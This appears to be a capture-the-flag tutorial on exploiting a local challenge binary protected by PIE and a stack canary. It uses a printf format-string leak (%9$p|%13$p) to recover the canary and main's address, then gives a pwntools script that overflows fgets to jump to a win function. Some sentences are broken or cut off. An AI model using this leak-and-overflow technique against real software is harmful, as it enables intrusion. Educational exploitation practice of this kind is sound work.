We are now challenged with combining the last two protections: PIE and Canary. This won't be a super challenging task, but it will require meticulous searching to ensure we get all the necessary information to defeat all protections.
As always, we must ensure that a buffer overflow vulnerability exists. From checking the disassembly and finding the input functions, we see the second fgets
is vulnerable:
0x00000000000016d9 <+405>: lea rax,[rbp-0x20] 0x00000000000016dd <+409>: mov esi,0x48 0x00000000000016e2 <+414>: mov rdi,rax 0x00000000000016e5 <+417>: call 0x1090 <fgets@plt>
We are writing 0x48
bytes a 0x18
byte region.
0x8
. Therefore, our region size will prove to be 0x18
.Still confused? Keep reading and see when we find the canary.
Because of both the canary and PIE, we need at least one format string vulnerability. We see that the following printf
statement uses our buffer (the one we change) as the first parameter:
0x00000000000016ad <+361>: lea rax,[rbp-0x20] 0x00000000000016b1 <+365>: mov rdi,rax 0x00000000000016b4 <+368>: mov eax,0x0 0x00000000000016b9 <+373>: call 0x1080 <printf@plt>
Therefore, we have a format string bug. This means we've met the necessary pre-conditions to exploit this binary.
We need to gather two pieces of information: an address from the stack (to beat PIE) and the canary's offset from rsp
.
We know the canary should be at rbp-0x8
since it usually sits just before the sensitive data (rbp
and the return address). We can confirm that in two places:
0x000000000000154c <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001555 <+17>: mov QWORD PTR [rbp-0x8],rax OR 0x000000000000173d <+505>: mov rdx,QWORD PTR [rbp-0x8] 0x0000000000001741 <+509>: sub rdx,QWORD PTR fs:0x28
The $fs
register stores global threaded values (like the canary), so this makes sense. Additionally, the second block of instructions is compared, and if not equal, __stack_chk_fail@plt
is called.
How far is this from rsp
? We know the stack frame is 0x20
bytes from the function prologue. Therefore, rsp = rbp - 0x20
.
Doing the math, we get that there are . Since the first parameter on the stack is offset 6
, our canary can be found using %9$p
.
rsp
can cause this to be off by one or two.We must find an address on the stack. Our typical go-to is the return pointer because we can easily compute where that instruction is on the stack. However, we're inside main
! The return pointer main
uses will take it to another function, __libc_start_call_main
, which is inside libc
. There's no reason for any other instructions to be on the stack. Moreover, we haven't seen any global variables, so we argue we probably wouldn't see those either. What can we do?
Don't worry; we have a way out! The trick is that __libc_start_main
, the function calling __libc_start_call_main
, pushes the address of main
onto the stack.
x64
, x86
was the primary architecture used. In x86
, parameters are passed on the stack rather than via the registers.__libc_start_main
takes the address of main
as its first parameter. If you're interested in the full signature plus what it does, this page is a good place to start. x64
matched the convention of main
being pushed on the stack to help developers debug their x64
programs. When PIE is enabled, it gives them a clear view of the address of main
to reference the rest of their program.
This article is a good resource for learning about how ELF programs are started. Note that this describes an x86
startup; however, most of it is the same. If you read this article, I recommend you follow along in gdb
. Use b _start
to set a breakpoint at the program's entry point and follow along!
This will happen at the same location for any x64
executable: $rbp+0x18
(where rbp
represents the base of main
's stack frame). This is extremely useful for us and always provides a way to beat PIE! If there is a format string, we can always beat PIE.
We can follow the formula above to compute the format string offset for this value.
Therefore, we can use %13$p
to leak the address of main
.
We will follow the Pwntools scripting we used in the last challenge rather than manually finding the offsets.
First, we'll need to decide how to send the format string. We only get one chance to send a format string, and we must collect both the canary and the PIE leak. We need to carefully decide our format string to make parsing easier later.
I chose %9$p|%13$p
for my format string. Why? I chose a delimiter that's not inside the output to easily find my leaks. I'll use the same code to receive the output, but then I'll need to split my output to get each leak.
.
, |
, or spaces. In this case, I don't want periods because there already are plenty of those in the output. There are also plenty of spaces.Note that it's not a good idea to have no delimiter because it makes splitting the canary from the PIE leak more difficult.
First, I'll establish the ELF
class and the process.
from pwn import * elf = context.binary = ELF('./chall') p = process()
Then, I'll send off the format string.
p.sendline(b'%9$p|%13$p')
Then, I need to receive the leak. I'll receive everything before the leak, then grab the leak. Once I have the leak, I'll split by |
to get both parts.
p.recvuntil(b'Welcome back, ') leaks = p.recvuntil(b'.', drop=True).decode().split('|') # leaks = [canary leak, PIE leak]
Then, I need to set elf.address
. The PIE leak was the second format string, so it's the second item in the list. Remember that leaks
still hold strings, so we need to convert them to integers and then subtract their offsets.
elf.address = int(leaks[1], 16) - elf.sym.main
Now, we can craft the payload. It's a standard canary payload from here!
payload = b'A' * 24 payload += p64(int(leaks[0], 16)) # canary payload += b'B' * 8 payload += p64(elf.sym.win) # updated address of win
Then, send it off!
p.sendline(payload) p.interactive()
This successfully gets us our flag!